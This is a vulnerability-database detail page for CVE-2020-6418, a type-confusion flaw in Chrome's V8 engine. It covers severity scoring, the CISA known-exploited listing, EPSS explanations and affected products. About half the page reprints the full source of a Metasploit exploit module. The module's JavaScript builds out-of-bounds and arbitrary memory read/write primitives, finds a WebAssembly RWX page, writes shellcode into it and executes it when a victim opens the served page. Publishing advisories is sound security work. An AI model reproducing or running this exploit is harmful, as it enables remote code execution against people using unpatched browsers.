CVE-2020-6418 : Detail

CVE-2020-6418

8.8
/
High
95.99%V3
Network
2020-02-27
22h55 +00:00
2025-01-29
16h56 +00:00
CVE.org
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CVE Descriptions

Type confusion in V8 in Google Chrome prior to 80.0.3987.122 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Google Chromium V8 Type Confusion Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 48186

Publication date : 2020-03-08 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit', 'Description' => %q{ This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clément Lecigne', # discovery 'István Kurucsai', # exploit 'Vignesh S Rao', # exploit 'timwr', # metasploit copypasta ], 'References' => [ ['CVE', '2020-6418'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'], ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'], ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'], ], 'Arch' => [ ARCH_X64 ], 'DefaultTarget' => 0, 'Targets' => [ ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}], ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}], ], 'DisclosureDate' => 'Feb 19 2020')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.raw) jscript = %Q^ var shellcode = unescape("#{escaped_payload}"); // HELPER FUNCTIONS let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.fhw = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.flw = function() { float_view[0] = this; return int_view[0] & BigInt(2**32-1); } Number.prototype.i2f = function() { return BigInt(this).i2f(); } Number.prototype.smi2f = function() { return BigInt(this).smi2f(); } function hex(a) { return a.toString(16); } // // EXPLOIT // // the number of holes here determines the OOB write offset let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1]; var float_rel; // float array, initially corruption target var float_carw; // float array, used for reads/writes within the compressed heap var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space var obj_leaker; // used to implement addrof vuln.pop(); vuln.pop(); vuln.pop(); function empty() {} function f(nt) { // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05); for (var i = 0; i < 0x10000; ++i) {}; } let p = new Proxy(Object, { get: function() { vuln[0] = {}; float_rel = [0.2, 1.2, 2.2, 3.2, 4.3]; float_carw = [6.6]; uint64_aarw = new BigUint64Array(4); obj_leaker = { a: float_rel, b: float_rel, }; return Object.prototype; } }); function main(o) { for (var i = 0; i < 0x10000; ++i) {}; return f(o); } // reads 4 bytes from the compressed heap at the specified dword offset after float_rel function crel_read4(offset) { var qw_offset = Math.floor(offset / 2); if (offset & 1 == 1) { return float_rel[qw_offset].fhw(); } else { return float_rel[qw_offset].flw(); } } // writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel function crel_write4(offset, val) { var qw_offset = Math.floor(offset / 2); // we are writing an 8-byte double under the hood // read out the other half and keep its value if (offset & 1 == 1) { temp = float_rel[qw_offset].flw(); new_val = (val << 32n | temp).i2f(); float_rel[qw_offset] = new_val; } else { temp = float_rel[qw_offset].fhw(); new_val = (temp << 32n | val).i2f(); float_rel[qw_offset] = new_val; } } const float_carw_elements_offset = 0x14; function cabs_read4(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read4: ' + hex(float_carw[0].f2i())); res = float_carw[0].flw(); // TODO restore elements ptr return res; } // This function provides arbitrary within read the compressed heap function cabs_read8(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read8: ' + hex(float_carw[0].f2i())); res = float_carw[0].f2i(); // TODO restore elements ptr return res; } // This function provides arbitrary write within the compressed heap function cabs_write4(caddr, val) { elements_addr = caddr - 8n | 1n; temp = cabs_read4(caddr + 4n | 1n); print('cabs_write4 temp: '+ hex(temp)); new_val = (temp << 32n | val).i2f(); crel_write4(float_carw_elements_offset, elements_addr); print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i())); float_carw[0] = new_val; // TODO restore elements ptr return res; } const objleaker_offset = 0x41; function addrof(o) { obj_leaker.b = o; addr = crel_read4(objleaker_offset) & BigInt(2**32-2); obj_leaker.b = {}; return addr; } const uint64_externalptr_offset = 0x1b; // in 8-bytes // Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array function read8(addr) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; val = uint64_aarw[0]; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array function write8(addr, val) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; uint64_aarw[0] = val; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Given an array of bigints, this will write all the elements to the address provided as argument function writeShellcode(addr, sc) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset - 1] = 10; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; for (var i = 0; i < sc.length; ++i) { uint64_aarw[i] = sc[i] } float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; } function get_compressed_rw() { for (var i = 0; i < 0x10000; ++i) {empty();} main(empty); main(empty); // Function would be jit compiled now. main(p); print(`Corrupted length of float_rel array = ${float_rel.length}`); } function get_arw() { get_compressed_rw(); print('should be 0x2: ' + hex(crel_read4(0x15))); let previous_elements = crel_read4(0x14); //print(hex(previous_elements)); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); cabs_write4(previous_elements, 0x66554433n); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); print('addrof(float_rel): ' + hex(addrof(float_rel))); uint64_aarw[0] = 0x4142434445464748n; } function rce() { function get_wasm_func() { var importObject = { imports: { imported_func: arg => print(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } let wasm_func = get_wasm_func(); // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func); let sfi = cabs_read4(wasm_func_addr + 12n) - 1n; print('sfi: ' + hex(sfi)); let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n; print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData)); let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n; print('instance: ' + hex(instance)); let wasm_rwx_addr = cabs_read8(instance + 0x68n); print('wasm_rwx_addr: ' + hex(wasm_rwx_addr)); // write the shellcode to the RWX page while(shellcode.length % 4 != 0){ shellcode += "\u9090"; } let sc = []; // convert the shellcode to BigInt for (let i = 0; i < shellcode.length; i += 4) { sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000)); } writeShellcode(wasm_rwx_addr,sc); print('success'); wasm_func(); } function exp() { get_arw(); rce(); } exp(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end

Products Mentioned

Configuraton 0

Google>>Chrome >> Version To (excluding) 80.0.3987.122

Configuraton 0

Fedoraproject>>Fedora >> Version 30

Fedoraproject>>Fedora >> Version 31

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

References

https://crbug.com/1053604
Tags : x_refsource_MISC
https://access.redhat.com/errata/RHSA-2020:0738
Tags : vendor-advisory, x_refsource_REDHAT
https://www.debian.org/security/2020/dsa-4638
Tags : vendor-advisory, x_refsource_DEBIAN
https://security.gentoo.org/glsa/202003-08
Tags : vendor-advisory, x_refsource_GENTOO